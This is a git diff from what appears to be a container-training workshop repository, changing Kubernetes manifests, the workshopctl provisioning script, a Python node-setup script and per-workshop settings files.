- key: node-role.kubernetes.io/master
operator: DoesNotExist
hostNetwork: true
hostPID: false
containers:
- name: portworx
image: portworx/oci-monitor:1.4.2.2
imagePullPolicy: Always
args:
["-c", "px-workshop", "-s", "/dev/loop4", "-b",
"-x", "kubernetes"]
env:
- name: "PX_TEMPLATE_VERSION"
value: "v4"
livenessProbe:
periodSeconds: 30
initialDelaySeconds: 840 # allow image pull in slow networks
httpGet:
host: 127.0.0.1
path: /status
port: 9001
readinessProbe:
periodSeconds: 10
httpGet:
host: 127.0.0.1
path: /health
port: 9015
terminationMessagePath: "/tmp/px-termination-log"
securityContext:
privileged: true
volumeMounts:
- name: dockersock
mountPath: /var/run/docker.sock
- name: etcpwx
mountPath: /etc/pwx
- name: optpwx
mountPath: /opt/pwx
- name: proc1nsmount
mountPath: /host_proc/1/ns
- name: sysdmount
mountPath: /etc/systemd/system
- name: diagsdump
mountPath: /var/cores
- name: journalmount1
mountPath: /var/run/log
readOnly: true
- name: journalmount2
mountPath: /var/log
readOnly: true
- name: dbusmount
mountPath: /var/run/dbus
restartPolicy: Always
serviceAccountName: px-account
volumes:
- name: dockersock
hostPath:
path: /var/run/docker.sock
- name: etcpwx
hostPath:
path: /etc/pwx
- name: optpwx
hostPath:
path: /opt/pwx
- name: proc1nsmount
hostPath:
path: /proc/1/ns
- name: sysdmount
hostPath:
path: /etc/systemd/system
- name: diagsdump
hostPath:
path: /var/cores
- name: journalmount1
hostPath:
path: /var/run/log
- name: journalmount2
hostPath:
path: /var/log
- name: dbusmount
hostPath:
path: /var/run/dbus
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: px-lh-account
namespace: kube-system
---
kind: ClusterRole
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: px-lh-role
namespace: kube-system
name: px-lh-role
namespace: kube-system
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["list", "get"]
- apiGroups:
- extensions
- apps
resources:
- deployments
verbs: ["get", "list"]
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "create", "update"]
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get", "create", "update"]
- apiGroups: [""]
resources: ["nodes"]
verbs: ["get", "list", "watch"]
- apiGroups: [""]
resources: ["services"]
verbs: ["create", "get", "list", "watch"]
- apiGroups: ["stork.libopenstorage.org"]
resources: ["clusterpairs","migrations","groupvolumesnapshots"]
verbs: ["get", "list", "create", "update", "delete"]
- apiGroups: ["monitoring.coreos.com"]
resources:
- alertmanagers
- prometheuses
- prometheuses/finalizers
- servicemonitors
verbs: ["*"]
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get", "create", "update"]
---
kind: ClusterRoleBinding
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: px-lh-role-binding
namespace: kube-system
subjects:
- kind: ServiceAccount
name: px-lh-account
namespace: kube-system
- kind: ServiceAccount
name: px-lh-account
namespace: kube-system
roleRef:
kind: ClusterRole
kind: Role
name: px-lh-role
apiGroup: rbac.authorization.k8s.io
---
@@ -689,12 +518,14 @@ spec:
ports:
- name: http
port: 80
nodePort: 32678
- name: https
port: 443
nodePort: 32679
selector:
tier: px-web-console
---
apiVersion: apps/v1beta1
apiVersion: apps/v1beta2
kind: Deployment
metadata:
name: px-lighthouse
@@ -718,7 +549,7 @@ spec:
spec:
initContainers:
- name: config-init
image: portworx/lh-config-sync:0.4
image: portworx/lh-config-sync:0.2
imagePullPolicy: Always
args:
- "init"
@@ -727,9 +558,8 @@ spec:
mountPath: /config/lh
containers:
- name: px-lighthouse
image: portworx/px-lighthouse:2.0.4
image: portworx/px-lighthouse:1.5.0
imagePullPolicy: Always
args: [ "-kubernetes", "true" ]
ports:
- containerPort: 80
- containerPort: 443
@@ -737,16 +567,13 @@ spec:
- name: config
mountPath: /config/lh
- name: config-sync
image: portworx/lh-config-sync:0.4
image: portworx/lh-config-sync:0.2
imagePullPolicy: Always
args:
- "sync"
volumeMounts:
- name: config
mountPath: /config/lh
- name: stork-connector
image: portworx/lh-stork-connector:0.2
imagePullPolicy: Always
serviceAccountName: px-lh-account
volumes:
- name: config

View File

@@ -15,7 +15,7 @@ spec:
schedulerName: stork
containers:
- name: postgres
image: postgres:11
image: postgres:10.5
volumeMounts:
- mountPath: /var/lib/postgresql/data
name: postgres

View File

@@ -1,39 +0,0 @@
---
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: privileged
annotations:
seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
spec:
privileged: true
allowPrivilegeEscalation: true
allowedCapabilities:
- '*'
volumes:
- '*'
hostNetwork: true
hostPorts:
- min: 0
max: 65535
hostIPC: true
hostPID: true
runAsUser:
rule: 'RunAsAny'
seLinux:
rule: 'RunAsAny'
supplementalGroups:
rule: 'RunAsAny'
fsGroup:
rule: 'RunAsAny'
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: psp:privileged
rules:
- apiGroups: ['policy']
resources: ['podsecuritypolicies']
verbs: ['use']
resourceNames: ['privileged']

View File

@@ -1,38 +0,0 @@
---
apiVersion: extensions/v1beta1
kind: PodSecurityPolicy
metadata:
annotations:
apparmor.security.beta.kubernetes.io/allowedProfileNames: runtime/default
apparmor.security.beta.kubernetes.io/defaultProfileName: runtime/default
seccomp.security.alpha.kubernetes.io/allowedProfileNames: docker/default
seccomp.security.alpha.kubernetes.io/defaultProfileName: docker/default
name: restricted
spec:
allowPrivilegeEscalation: false
fsGroup:
rule: RunAsAny
runAsUser:
rule: RunAsAny
seLinux:
rule: RunAsAny
supplementalGroups:
rule: RunAsAny
volumes:
- configMap
- emptyDir
- projected
- secret
- downwardAPI
- persistentVolumeClaim
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: psp:restricted
rules:
- apiGroups: ['policy']
resources: ['podsecuritypolicies']
verbs: ['use']
resourceNames: ['restricted']

View File

@@ -1,33 +0,0 @@
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: jean.doe
namespace: users
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: users:jean.doe
rules:
- apiGroups: [ certificates.k8s.io ]
resources: [ certificatesigningrequests ]
verbs: [ create ]
- apiGroups: [ certificates.k8s.io ]
resourceNames: [ users:jean.doe ]
resources: [ certificatesigningrequests ]
verbs: [ get, create, delete, watch ]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: users:jean.doe
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: users:jean.doe
subjects:
- kind: ServiceAccount
name: jean.doe
namespace: users

View File

@@ -1,70 +0,0 @@
---
apiVersion: v1
kind: PersistentVolume
metadata:
name: consul-node2
annotations:
node: node2
spec:
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
persistentVolumeReclaimPolicy: Delete
local:
path: /mnt/consul
nodeAffinity:
required:
nodeSelectorTerms:
- matchExpressions:
- key: kubernetes.io/hostname
operator: In
values:
- node2
---
apiVersion: v1
kind: PersistentVolume
metadata:
name: consul-node3
annotations:
node: node3
spec:
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
persistentVolumeReclaimPolicy: Delete
local:
path: /mnt/consul
nodeAffinity:
required:
nodeSelectorTerms:
- matchExpressions:
- key: kubernetes.io/hostname
operator: In
values:
- node3
---
apiVersion: v1
kind: PersistentVolume
metadata:
name: consul-node4
annotations:
node: node4
spec:
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
persistentVolumeReclaimPolicy: Delete
local:
path: /mnt/consul
nodeAffinity:
required:
nodeSelectorTerms:
- matchExpressions:
- key: kubernetes.io/hostname
operator: In
values:
- node4

View File

@@ -2,7 +2,7 @@ export AWS_DEFAULT_OUTPUT=text
HELP=""
_cmd() {
HELP="$(printf "%s\n%-20s %s\n" "$HELP" "$1" "$2")"
HELP="$(printf "%s\n%-12s %s\n" "$HELP" "$1" "$2")"
}
_cmd help "Show available commands"
@@ -33,14 +33,9 @@ _cmd_cards() {
../../lib/ips-txt-to-html.py settings.yaml
)
ln -sf ../tags/$TAG/ips.html www/$TAG.html
ln -sf ../tags/$TAG/ips.pdf www/$TAG.pdf
info "Cards created. You can view them with:"
info "xdg-open tags/$TAG/ips.html tags/$TAG/ips.pdf (on Linux)"
info "open tags/$TAG/ips.html (on macOS)"
info "Or you can start a web server with:"
info "$0 www"
}
_cmd deploy "Install Docker on a bunch of running VMs"
@@ -79,10 +74,10 @@ _cmd_deploy() {
pssh -I sudo tee /usr/local/bin/docker-prompt <lib/docker-prompt
pssh sudo chmod +x /usr/local/bin/docker-prompt
# If /home/docker/.ssh/id_rsa doesn't exist, copy it from the first node
# If /home/docker/.ssh/id_rsa doesn't exist, copy it from node1
pssh "
sudo -u docker [ -f /home/docker/.ssh/id_rsa ] ||
ssh -o StrictHostKeyChecking=no \$(cat /etc/name_of_first_node) sudo -u docker tar -C /home/docker -cvf- .ssh |
ssh -o StrictHostKeyChecking=no node1 sudo -u docker tar -C /home/docker -cvf- .ssh |
sudo -u docker tar -C /home/docker -xf-"
# if 'docker@' doesn't appear in /home/docker/.ssh/authorized_keys, copy it there
@@ -91,11 +86,11 @@ _cmd_deploy() {
cat /home/docker/.ssh/id_rsa.pub |
sudo -u docker tee -a /home/docker/.ssh/authorized_keys"
# On the first node, create and deploy TLS certs using Docker Machine
# On node1, create and deploy TLS certs using Docker Machine
# (Currently disabled.)
true || pssh "
if i_am_first_node; then
grep '[0-9]\$' /etc/hosts |
if grep -q node1 /tmp/node; then
grep ' node' /etc/hosts |
xargs -n2 sudo -H -u docker \
docker-machine create -d generic --generic-ssh-user docker --generic-ip-address
fi"
@@ -108,16 +103,6 @@ _cmd_deploy() {
info "$0 cards $TAG"
}
_cmd disabledocker "Stop Docker Engine and don't restart it automatically"
_cmd_disabledocker() {
TAG=$1
need_tag
pssh "sudo systemctl disable docker.service"
pssh "sudo systemctl disable docker.socket"
pssh "sudo systemctl stop docker"
}
_cmd kubebins "Install Kubernetes and CNI binaries but don't start anything"
_cmd_kubebins() {
TAG=$1
@@ -131,7 +116,7 @@ _cmd_kubebins() {
| sudo tar --strip-components=1 --wildcards -zx '*/etcd' '*/etcdctl'
fi
if ! [ -x hyperkube ]; then
curl -L https://dl.k8s.io/v1.14.1/kubernetes-server-linux-amd64.tar.gz \
curl -L https://dl.k8s.io/v1.14.0/kubernetes-server-linux-amd64.tar.gz \
| sudo tar --strip-components=3 -zx kubernetes/server/bin/hyperkube
fi
if ! [ -x kubelet ]; then
@@ -154,16 +139,6 @@ _cmd_kube() {
TAG=$1
need_tag
# Optional version, e.g. 1.13.5
KUBEVERSION=$2
if [ "$KUBEVERSION" ]; then
EXTRA_KUBELET="=$KUBEVERSION-00"
EXTRA_KUBEADM="--kubernetes-version=v$KUBEVERSION"
else
EXTRA_KUBELET=""
EXTRA_KUBEADM=""
fi
# Install packages
pssh --timeout 200 "
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg |
@@ -172,19 +147,19 @@ _cmd_kube() {
sudo tee /etc/apt/sources.list.d/kubernetes.list"
pssh --timeout 200 "
sudo apt-get update -q &&
sudo apt-get install -qy kubelet$EXTRA_KUBELET kubeadm kubectl &&
sudo apt-get install -qy kubelet kubeadm kubectl &&
kubectl completion bash | sudo tee /etc/bash_completion.d/kubectl"
# Initialize kube master
pssh --timeout 200 "
if i_am_first_node && [ ! -f /etc/kubernetes/admin.conf ]; then
if grep -q node1 /tmp/node && [ ! -f /etc/kubernetes/admin.conf ]; then
kubeadm token generate > /tmp/token &&
sudo kubeadm init $EXTRA_KUBEADM --token \$(cat /tmp/token) --apiserver-cert-extra-sans \$(cat /tmp/ipv4)
sudo kubeadm init --token \$(cat /tmp/token) --apiserver-cert-extra-sans \$(cat /tmp/ipv4)
fi"
# Put kubeconfig in ubuntu's and docker's accounts
pssh "
if i_am_first_node; then
if grep -q node1 /tmp/node; then
sudo mkdir -p \$HOME/.kube /home/docker/.kube &&
sudo cp /etc/kubernetes/admin.conf \$HOME/.kube/config &&
sudo cp /etc/kubernetes/admin.conf /home/docker/.kube/config &&
@@ -194,22 +169,21 @@ _cmd_kube() {
# Install weave as the pod network
pssh "
if i_am_first_node; then
if grep -q node1 /tmp/node; then
kubever=\$(kubectl version | base64 | tr -d '\n') &&
kubectl apply -f https://cloud.weave.works/k8s/net?k8s-version=\$kubever
fi"
# Join the other nodes to the cluster
pssh --timeout 200 "
if ! i_am_first_node && [ ! -f /etc/kubernetes/kubelet.conf ]; then
FIRSTNODE=\$(cat /etc/name_of_first_node) &&
TOKEN=\$(ssh -o StrictHostKeyChecking=no \$FIRSTNODE cat /tmp/token) &&
sudo kubeadm join --discovery-token-unsafe-skip-ca-verification --token \$TOKEN \$FIRSTNODE:6443
if ! grep -q node1 /tmp/node && [ ! -f /etc/kubernetes/kubelet.conf ]; then
TOKEN=\$(ssh -o StrictHostKeyChecking=no node1 cat /tmp/token) &&
sudo kubeadm join --discovery-token-unsafe-skip-ca-verification --token \$TOKEN node1:6443
fi"
# Install metrics server
pssh "
if i_am_first_node; then
if grep -q node1 /tmp/node; then
kubectl apply -f https://raw.githubusercontent.com/jpetazzo/container.training/master/k8s/metrics-server.yaml
fi"
@@ -234,7 +208,7 @@ EOF"
pssh "
if [ ! -x /usr/local/bin/stern ]; then
##VERSION##
sudo curl -L -o /usr/local/bin/stern https://github.com/wercker/stern/releases/download/1.11.0/stern_linux_amd64 &&
sudo curl -L -o /usr/local/bin/stern https://github.com/wercker/stern/releases/download/1.10.0/stern_linux_amd64 &&
sudo chmod +x /usr/local/bin/stern &&
stern --completion bash | sudo tee /etc/bash_completion.d/stern
fi"
@@ -246,21 +220,6 @@ EOF"
helm completion bash | sudo tee /etc/bash_completion.d/helm
fi"
# Install ship
pssh "
if [ ! -x /usr/local/bin/ship ]; then
curl -L https://github.com/replicatedhq/ship/releases/download/v0.40.0/ship_0.40.0_linux_amd64.tar.gz |
sudo tar -C /usr/local/bin -zx ship
fi"
# Install the AWS IAM authenticator
pssh "
if [ ! -x /usr/local/bin/aws-iam-authenticator ]; then
##VERSION##
sudo curl -o /usr/local/bin/aws-iam-authenticator https://amazon-eks.s3-us-west-2.amazonaws.com/1.12.7/2019-03-27/bin/linux/amd64/aws-iam-authenticator
sudo chmod +x /usr/local/bin/aws-iam-authenticator
fi"
sep "Done"
}
@@ -281,9 +240,10 @@ _cmd_kubetest() {
# Feel free to make that better ♥
pssh "
set -e
if i_am_first_node; then
[ -f /tmp/node ]
if grep -q node1 /tmp/node; then
which kubectl
for NODE in \$(awk /[0-9]\$/\ {print\ \\\$2} /etc/hosts); do
for NODE in \$(awk /\ node/\ {print\ \\\$2} /etc/hosts); do
echo \$NODE ; kubectl get nodes | grep -w \$NODE | grep -w Ready
done
fi"
@@ -323,14 +283,6 @@ _cmd_listall() {
done
}
_cmd ping "Ping VMs in a given tag, to check that they have network access"
_cmd_ping() {
TAG=$1
need_tag
fping < tags/$TAG/ips.txt
}
_cmd netfix "Disable GRO and run a pinger job on the VMs"
_cmd_netfix () {
TAG=$1
@@ -404,15 +356,6 @@ _cmd_retag() {
aws_tag_instances $OLDTAG $NEWTAG
}
_cmd ssh "Open an SSH session to the first node of a tag"
_cmd_ssh() {
TAG=$1
need_tag
IP=$(head -1 tags/$TAG/ips.txt)
info "Logging into $IP"
ssh docker@$IP
}
_cmd start "Start a group of VMs"
_cmd_start() {
while [ ! -z "$*" ]; do
@@ -424,7 +367,7 @@ _cmd_start() {
*) die "Unrecognized parameter: $1."
esac
done
if [ -z "$INFRA" ]; then
die "Please add --infra flag to specify which infrastructure file to use."
fi
@@ -435,8 +378,8 @@ _cmd_start() {
COUNT=$(awk '/^clustersize:/ {print $2}' $SETTINGS)
warning "No --count option was specified. Using value from settings file ($COUNT)."
fi
# Check that the specified settings and infrastructure are valid.
# Check that the specified settings and infrastructure are valid.
need_settings $SETTINGS
need_infra $INFRA
@@ -508,15 +451,15 @@ _cmd_helmprom() {
TAG=$1
need_tag
pssh "
if i_am_first_node; then
if grep -q node1 /tmp/node; then
kubectl -n kube-system get serviceaccount helm ||
kubectl -n kube-system create serviceaccount helm
sudo -u docker -H helm init --service-account helm
helm init --service-account helm
kubectl get clusterrolebinding helm-can-do-everything ||
kubectl create clusterrolebinding helm-can-do-everything \
--clusterrole=cluster-admin \
--serviceaccount=kube-system:helm
sudo -u docker -H helm upgrade --install prometheus stable/prometheus \
helm upgrade --install prometheus stable/prometheus \
--namespace kube-system \
--set server.service.type=NodePort \
--set server.service.nodePort=30090 \
@@ -541,50 +484,6 @@ _cmd_weavetest() {
sh -c \"./weave --local status | grep Connections | grep -q ' 1 failed' || ! echo POD \""
}
_cmd webssh "Install a WEB SSH server on the machines (port 1080)"
_cmd_webssh() {
TAG=$1
need_tag
pssh "
sudo apt-get update &&
sudo apt-get install python-tornado python-paramiko -y"
pssh "
[ -d webssh ] || git clone https://github.com/jpetazzo/webssh"
pssh "
for KEYFILE in /etc/ssh/*.pub; do
read a b c < \$KEYFILE; echo localhost \$a \$b
done > webssh/known_hosts"
pssh "cat >webssh.service <<EOF
[Unit]
Description=webssh
[Install]
WantedBy=multi-user.target
[Service]
WorkingDirectory=/home/ubuntu/webssh
ExecStart=/usr/bin/env python run.py --fbidhttp=false --port=1080 --policy=reject
User=nobody
Group=nogroup
Restart=always
EOF"
pssh "
sudo systemctl enable \$PWD/webssh.service &&
sudo systemctl start webssh.service"
}
_cmd www "Run a web server to access card HTML and PDF"
_cmd_www() {
cd www
IPADDR=$(curl -sL canihazip.com/s)
info "The following files are available:"
for F in *; do
echo "http://$IPADDR:8000/$F"
done
info "Press Ctrl-C to stop server."
python -m http.server
}
greet() {
IAMUSER=$(aws iam get-user --query 'User.UserName')
info "Hello! You seem to be UNIX user $USER, and IAM user $IAMUSER."
@@ -642,8 +541,8 @@ test_vm() {
for cmd in "hostname" \
"whoami" \
"hostname -i" \
"ls -l /usr/local/bin/i_am_first_node" \
"grep . /etc/name_of_first_node /etc/ipv4_of_first_node" \
"cat /tmp/node" \
"cat /tmp/ipv4" \
"cat /etc/hosts" \
"hostnamectl status" \
"docker version | grep Version -B1" \

View File

@@ -31,7 +31,6 @@ infra_start() {
die "I could not find which AMI to use in this region. Try another region?"
fi
AWS_KEY_NAME=$(make_key_name)
AWS_INSTANCE_TYPE=${AWS_INSTANCE_TYPE-t3a.medium}
sep "Starting instances"
info " Count: $COUNT"
@@ -39,11 +38,10 @@ infra_start() {
info " Token/tag: $TAG"
info " AMI: $AMI"
info " Key name: $AWS_KEY_NAME"
info " Instance type: $AWS_INSTANCE_TYPE"
result=$(aws ec2 run-instances \
--key-name $AWS_KEY_NAME \
--count $COUNT \
--instance-type $AWS_INSTANCE_TYPE \
--instance-type ${AWS_INSTANCE_TYPE-t2.medium} \
--client-token $TAG \
--block-device-mapping 'DeviceName=/dev/sda1,Ebs={VolumeSize=20}' \
--image-id $AMI)
@@ -99,7 +97,7 @@ infra_disableaddrchecks() {
}
wait_until_tag_is_running() {
max_retry=100
max_retry=50
i=0
done_count=0
while [[ $done_count -lt $COUNT ]]; do

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python3
#!/usr/bin/env python
import os
import sys
import yaml

View File

@@ -12,7 +12,6 @@ config = yaml.load(open("/tmp/settings.yaml"))
COMPOSE_VERSION = config["compose_version"]
MACHINE_VERSION = config["machine_version"]
CLUSTER_SIZE = config["clustersize"]
CLUSTER_PREFIX = config["clusterprefix"]
ENGINE_VERSION = config["engine_version"]
DOCKER_USER_PASSWORD = config["docker_user_password"]
@@ -122,7 +121,7 @@ addresses = list(l.strip() for l in sys.stdin)
assert ipv4 in addresses
def makenames(addrs):
return [ "%s%s"%(CLUSTER_PREFIX, i+1) for i in range(len(addrs)) ]
return [ "node%s"%(i+1) for i in range(len(addrs)) ]
while addresses:
cluster = addresses[:CLUSTER_SIZE]
@@ -136,21 +135,15 @@ while addresses:
print(cluster)
mynode = cluster.index(ipv4) + 1
system("echo {}{} | sudo tee /etc/hostname".format(CLUSTER_PREFIX, mynode))
system("sudo hostname {}{}".format(CLUSTER_PREFIX, mynode))
system("echo node{} | sudo -u docker tee /tmp/node".format(mynode))
system("echo node{} | sudo tee /etc/hostname".format(mynode))
system("sudo hostname node{}".format(mynode))
system("sudo -u docker mkdir -p /home/docker/.ssh")
system("sudo -u docker touch /home/docker/.ssh/authorized_keys")
# Create a convenience file to easily check if we're the first node
if ipv4 == cluster[0]:
system("sudo ln -sf /bin/true /usr/local/bin/i_am_first_node")
# On the first node, if we don't have a private key, generate one (with empty passphrase)
# If I'm node1 and don't have a private key, generate one (with empty passphrase)
system("sudo -u docker [ -f /home/docker/.ssh/id_rsa ] || sudo -u docker ssh-keygen -t rsa -f /home/docker/.ssh/id_rsa -P ''")
else:
system("sudo ln -sf /bin/false /usr/local/bin/i_am_first_node")
# Record the IPV4 and name of the first node
system("echo {} | sudo tee /etc/ipv4_of_first_node".format(cluster[0]))
system("echo {} | sudo tee /etc/name_of_first_node".format(names[0]))
FINISH = time.time()
duration = "Initial deployment took {}s".format(str(FINISH - START)[:5])

View File

@@ -1,28 +0,0 @@
# Number of VMs per cluster
clustersize: 3
# The hostname of each node will be clusterprefix + a number
clusterprefix: kubenet
# Jinja2 template to use to generate ready-to-cut cards
cards_template: cards.html
# Use "Letter" in the US, and "A4" everywhere else
paper_size: A4
# Feel free to reduce this if your printer can handle it
paper_margin: 0.2in
# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
# If you print (or generate a PDF) using ips.html, they will be ignored.
# (The equivalent parameters must be set from the browser's print dialog.)
# This can be "test" or "stable"
engine_version: stable
# These correspond to the version numbers visible on their respective GitHub release pages
compose_version: 1.24.1
machine_version: 0.14.0
# Password used to connect with the "docker user"
docker_user_password: training

View File

@@ -1,28 +0,0 @@
# Number of VMs per cluster
clustersize: 3
# The hostname of each node will be clusterprefix + a number
clusterprefix: kuberouter
# Jinja2 template to use to generate ready-to-cut cards
cards_template: cards.html
# Use "Letter" in the US, and "A4" everywhere else
paper_size: A4
# Feel free to reduce this if your printer can handle it
paper_margin: 0.2in
# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
# If you print (or generate a PDF) using ips.html, they will be ignored.
# (The equivalent parameters must be set from the browser's print dialog.)
# This can be "test" or "stable"
engine_version: stable
# These correspond to the version numbers visible on their respective GitHub release pages
compose_version: 1.24.1
machine_version: 0.14.0
# Password used to connect with the "docker user"
docker_user_password: training

View File

@@ -1,28 +0,0 @@
# Number of VMs per cluster
clustersize: 3
# The hostname of each node will be clusterprefix + a number
clusterprefix: test
# Jinja2 template to use to generate ready-to-cut cards
cards_template: cards.html
# Use "Letter" in the US, and "A4" everywhere else
paper_size: A4
# Feel free to reduce this if your printer can handle it
paper_margin: 0.2in
# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
# If you print (or generate a PDF) using ips.html, they will be ignored.
# (The equivalent parameters must be set from the browser's print dialog.)
# This can be "test" or "stable"
engine_version: stable
# These correspond to the version numbers visible on their respective GitHub release pages
compose_version: 1.24.1
machine_version: 0.14.0
# Password used to connect with the "docker user"
docker_user_password: training

View File

@@ -1,8 +1,5 @@
# Number of VMs per cluster
clustersize: 5
# The hostname of each node will be clusterprefix + a number
clusterprefix: node
# Jinja2 template to use to generate ready-to-cut cards
cards_template: clusters.csv

View File

@@ -1,11 +1,8 @@
# Number of VMs per cluster
clustersize: 1
# The hostname of each node will be clusterprefix + a number
clusterprefix: dmuc
# Jinja2 template to use to generate ready-to-cut cards
cards_template: cards.html
cards_template: enix.html
# Use "Letter" in the US, and "A4" everywhere else
paper_size: A4
@@ -21,8 +18,9 @@ paper_margin: 0.2in
engine_version: stable
# These correspond to the version numbers visible on their respective GitHub release pages
compose_version: 1.24.1
compose_version: 1.21.1
machine_version: 0.14.0
# Password used to connect with the "docker user"
docker_user_password: training

View File

@@ -3,9 +3,6 @@
# Number of VMs per cluster
clustersize: 5
# The hostname of each node will be clusterprefix + a number
clusterprefix: node
# Jinja2 template to use to generate ready-to-cut cards
cards_template: cards.html
@@ -23,7 +20,7 @@ paper_margin: 0.2in
engine_version: test
# These correspond to the version numbers visible on their respective GitHub release pages
compose_version: 1.24.1
compose_version: 1.18.0
machine_version: 0.13.0
# Password used to connect with the "docker user"

View File

@@ -3,9 +3,6 @@
# Number of VMs per cluster
clustersize: 1
# The hostname of each node will be clusterprefix + a number
clusterprefix: node
# Jinja2 template to use to generate ready-to-cut cards
cards_template: cards.html
@@ -23,7 +20,7 @@ paper_margin: 0.2in
engine_version: stable
# These correspond to the version numbers visible on their respective GitHub release pages
compose_version: 1.24.1
compose_version: 1.22.0
machine_version: 0.15.0
# Password used to connect with the "docker user"

View File

@@ -1,14 +1,11 @@
# Number of VMs per cluster
clustersize: 4
# The hostname of each node will be clusterprefix + a number
clusterprefix: node
# Jinja2 template to use to generate ready-to-cut cards
cards_template: cards.html
cards_template: jerome.html
# Use "Letter" in the US, and "A4" everywhere else
paper_size: Letter
paper_size: A4
# Feel free to reduce this if your printer can handle it
paper_margin: 0.2in
@@ -21,7 +18,7 @@ paper_margin: 0.2in
engine_version: stable
# These correspond to the version numbers visible on their respective GitHub release pages
compose_version: 1.24.1
compose_version: 1.21.1
machine_version: 0.14.0
# Password used to connect with the "docker user"

View File

@@ -3,11 +3,8 @@
# Number of VMs per cluster
clustersize: 3
# The hostname of each node will be clusterprefix + a number
clusterprefix: node
# Jinja2 template to use to generate ready-to-cut cards
cards_template: cards.html
cards_template: kube101.html
# Use "Letter" in the US, and "A4" everywhere else
paper_size: Letter
@@ -23,7 +20,7 @@ paper_margin: 0.2in
engine_version: stable
# These correspond to the version numbers visible on their respective GitHub release pages
compose_version: 1.24.1
compose_version: 1.21.1
machine_version: 0.14.0
# Password used to connect with the "docker user"

View File

@@ -3,9 +3,6 @@
# Number of VMs per cluster
clustersize: 3
# The hostname of each node will be clusterprefix + a number
clusterprefix: node
# Jinja2 template to use to generate ready-to-cut cards
cards_template: cards.html
@@ -23,7 +20,7 @@ paper_margin: 0.2in
engine_version: stable
# These correspond to the version numbers visible on their respective GitHub release pages
compose_version: 1.24.1
compose_version: 1.22.0
machine_version: 0.15.0
# Password used to connect with the "docker user"

View File

@@ -1,66 +0,0 @@
#!/bin/sh
set -e
export AWS_INSTANCE_TYPE=t3a.small
INFRA=infra/aws-us-west-2
STUDENTS=2
PREFIX=$(date +%Y-%m-%d-%H-%M)
SETTINGS=admin-dmuc
TAG=$PREFIX-$SETTINGS
./workshopctl start \
--tag $TAG \
--infra $INFRA \
--settings settings/$SETTINGS.yaml \
--count $STUDENTS
./workshopctl deploy $TAG
./workshopctl disabledocker $TAG
./workshopctl kubebins $TAG
./workshopctl cards $TAG
SETTINGS=admin-kubenet
TAG=$PREFIX-$SETTINGS
./workshopctl start \
--tag $TAG \
--infra $INFRA \
--settings settings/$SETTINGS.yaml \
--count $((3*$STUDENTS))
./workshopctl disableaddrchecks $TAG
./workshopctl deploy $TAG
./workshopctl kubebins $TAG
./workshopctl cards $TAG
SETTINGS=admin-kuberouter
TAG=$PREFIX-$SETTINGS
./workshopctl start \
--tag $TAG \
--infra $INFRA \
--settings settings/$SETTINGS.yaml \
--count $((3*$STUDENTS))
./workshopctl disableaddrchecks $TAG
./workshopctl deploy $TAG
./workshopctl kubebins $TAG
./workshopctl cards $TAG
#INFRA=infra/aws-us-west-1
export AWS_INSTANCE_TYPE=t3a.medium
SETTINGS=admin-test
TAG=$PREFIX-$SETTINGS
./workshopctl start \
--tag $TAG \
--infra $INFRA \
--settings settings/$SETTINGS.yaml \
--count $((3*$STUDENTS))
./workshopctl deploy $TAG
./workshopctl kube $TAG 1.13.5
./workshopctl cards $TAG

View File

@@ -1,88 +1,29 @@
{# Feel free to customize or override anything in there! #}
{%- set url = "http://FIXME.container.training/" -%}
{%- set pagesize = 9 -%}
{%- set lang = "en" -%}
{%- set event = "training session" -%}
{%- set backside = False -%}
{%- set image = "kube" -%}
{%- set clusternumber = 100 -%}
{%- set image_src = {
"docker": "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png",
"swarm": "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png",
"kube": "https://avatars1.githubusercontent.com/u/13629408",
"enix": "https://enix.io/static/img/logos/logo-domain-cropped.png",
}[image] -%}
{%- if lang == "en" and clustersize == 1 -%}
{%- set intro -%}
Here is the connection information to your very own
machine for this {{ event }}.
You can connect to this VM with any SSH client.
{%- endset -%}
{%- set listhead -%}
Your machine is:
{%- endset -%}
{%- endif -%}
{%- if lang == "en" and clustersize != 1 -%}
{%- set intro -%}
Here is the connection information to your very own
cluster for this {{ event }}.
You can connect to each VM with any SSH client.
{%- endset -%}
{%- set listhead -%}
Your machines are:
{%- endset -%}
{%- endif -%}
{%- if lang == "fr" and clustersize == 1 -%}
{%- set intro -%}
Voici les informations permettant de se connecter à votre
machine pour cette formation.
Vous pouvez vous connecter à cette machine virtuelle
avec n'importe quel client SSH.
{%- endset -%}
{%- set listhead -%}
Adresse IP:
{%- endset -%}
{%- endif -%}
{%- if lang == "en" and clusterprefix != "node" -%}
{%- set intro -%}
Here is the connection information for the
<strong>{{ clusterprefix }}</strong> environment.
{%- endset -%}
{%- endif -%}
{%- if lang == "fr" and clustersize != 1 -%}
{%- set intro -%}
Voici les informations permettant de se connecter à votre
cluster pour cette formation.
Vous pouvez vous connecter à chaque machine virtuelle
avec n'importe quel client SSH.
{%- endset -%}
{%- set listhead -%}
Adresses IP:
{%- endset -%}
{%- endif -%}
{%- if lang == "en" -%}
{%- set slides_are_at -%}
You can find the slides at:
{%- endset -%}
